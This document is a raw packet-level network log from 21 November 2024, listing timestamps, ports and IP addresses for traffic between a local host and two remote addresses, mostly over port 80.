Nov 21, 2024 00:03:22.544408083 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.545109987 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.545166969 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.545208931 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.545891047 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.545984030 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.546066999 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.546705008 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.546869993 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.546912909 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.547514915 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.547646046 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.547692060 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.548325062 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.548337936 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.548377991 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.549088001 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.549283028 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.549330950 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.549875975 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.550000906 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.550045967 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.550699949 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.550756931 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.550801992 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.551748037 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.551778078 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.551824093 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.552294016 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.552387953 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.552436113 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.553085089 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.553172112 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.553220034 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.553864956 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.553975105 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.554018974 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.554649115 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.554749012 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.554791927 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.555438995 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.555501938 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.555547953 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.556335926 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.556353092 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.556426048 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.557192087 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.557209969 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.557266951 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.557899952 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.558090925 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.558135033 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.558754921 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.558773041 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.558825016 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.559401035 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.559607983 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.559653997 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.560307980 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.560384989 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.560432911 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.560988903 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.561163902 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.561214924 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.561908960 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.561927080 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.561980009 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.562676907 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.562695026 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.562741995 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.563358068 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.563493967 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.563538074 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.564215899 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.564280987 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.564330101 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.564985991 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.565325975 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.565381050 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.565972090 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.566020012 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.566092968 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.566579103 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.566874981 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.566926956 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.567354918 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.567519903 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.567568064 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.568243980 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.568306923 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.568352938 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.569056034 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.569072962 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.569128036 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.569839001 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.569865942 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.569911003 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.570589066 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.570652008 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.570703983 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.571309090 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.571400881 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.571449041 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.572361946 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.572377920 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.572428942 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.572953939 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.573030949 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.573075056 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.573817015 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.573832035 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.573877096 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.574502945 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.574975014 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.575026035 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.575371027 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.575572014 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.575617075 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.576117992 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.576270103 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.576320887 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.576900959 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.577008009 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.577056885 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.577704906 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.578099012 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.578145981 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.578778982 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.581069946 CET	443	49761	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:22.581160069 CET	443	49761	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:22.581223965 CET	49761	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:22.590991974 CET	49761	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:22.591013908 CET	443	49761	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:22.591028929 CET	49761	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:22.591034889 CET	443	49761	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:22.594913960 CET	49766	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:22.594974041 CET	443	49766	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:22.595056057 CET	49766	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:22.595185995 CET	49766	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:22.595199108 CET	443	49766	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:22.598715067 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.729423046 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.729476929 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.729527950 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.729577065 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.729702950 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.729752064 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.730447054 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.730468035 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.730508089 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.731177092 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.731306076 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.731343031 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.731981039 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.732180119 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.732219934 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.732763052 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.732919931 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.732959032 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.733608961 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.733701944 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.733741999 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.734365940 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.734523058 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.734560966 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.735183954 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.735249043 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.735286951 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.736011028 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.736032009 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.736071110 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.736779928 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.736892939 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.736929893 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.737447977 CET	443	49762	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:22.737533092 CET	443	49762	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:22.737585068 CET	49762	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:22.737633944 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.737653017 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.737704039 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.737813950 CET	49762	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:22.737826109 CET	443	49762	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:22.737844944 CET	49762	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:22.737849951 CET	443	49762	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:22.738359928 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.738473892 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.738511086 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.739180088 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.739295959 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.739334106 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.740025043 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.740456104 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.740495920 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.740735054 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.740830898 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.740866899 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.741677999 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.741760015 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.741827011 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.742393970 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.742405891 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.742456913 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.743140936 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.743240118 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.743278027 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.743885040 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.744054079 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.744103909 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.744785070 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.744834900 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.744874954 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.745491028 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.745558023 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.745599031 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.746284962 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.746463060 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.746504068 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.747116089 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.747212887 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.747252941 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.747987986 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.747999907 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.748047113 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.748656988 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.749042034 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.749089003 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.749484062 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.749495983 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.749540091 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.750262976 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.750348091 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.750386953 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.751161098 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.751302958 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.751346111 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.751868963 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.752024889 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.752064943 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.752675056 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.752944946 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.752986908 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.753426075 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.753628969 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.753679037 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.754318953 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.754331112 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.754373074 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.755143881 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.755209923 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.755253077 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.755872011 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.755940914 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.755980015 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.756711006 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.756724119 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.756757021 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.757510900 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.757522106 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.757561922 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.758208036 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.758348942 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.758393049 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.759063005 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.759161949 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.759202957 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.759900093 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.759912014 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.759946108 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.760653973 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.760699987 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.760746002 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.761404991 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.761480093 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.761519909 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.762219906 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.762321949 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.762360096 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.763000965 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.763092041 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.763133049 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.763897896 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.764012098 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.764046907 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.764614105 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.764699936 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.764739037 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.765350103 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.765396118 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.765435934 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.766206980 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.766220093 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.766249895 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.767045975 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.767057896 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.767092943 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.767859936 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.767916918 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.767957926 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.768615007 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.768755913 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.768795013 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.769494057 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.769505978 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.769548893 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.770143032 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.770256996 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.770294905 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.770874023 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.773061037 CET	49767	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:22.773123026 CET	443	49767	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:22.773192883 CET	49767	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:22.822235107 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.864258051 CET	49767	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:03:22.864310980 CET	443	49767	13.107.246.45	192.168.2.7
Nov 21, 2024 00:03:22.921446085 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.921530962 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.921591997 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.921633005 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.921897888 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.921941042 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.922504902 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.922519922 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.922574043 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.923342943 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.923574924 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.923620939 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.924114943 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.924293041 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.924354076 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.924844980 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.924983978 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.925029039 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.925693035 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.925704956 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.925753117 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.926445007 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.926506042 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.926544905 CET	49760	80	192.168.2.7	185.215.113.16
Nov 21, 2024 00:03:22.927190065 CET	80	49760	185.215.113.16	192.168.2.7
Nov 21, 2024 00:03:22.927292109 CET	80	49760	185.215.113.16	192.168.2.7
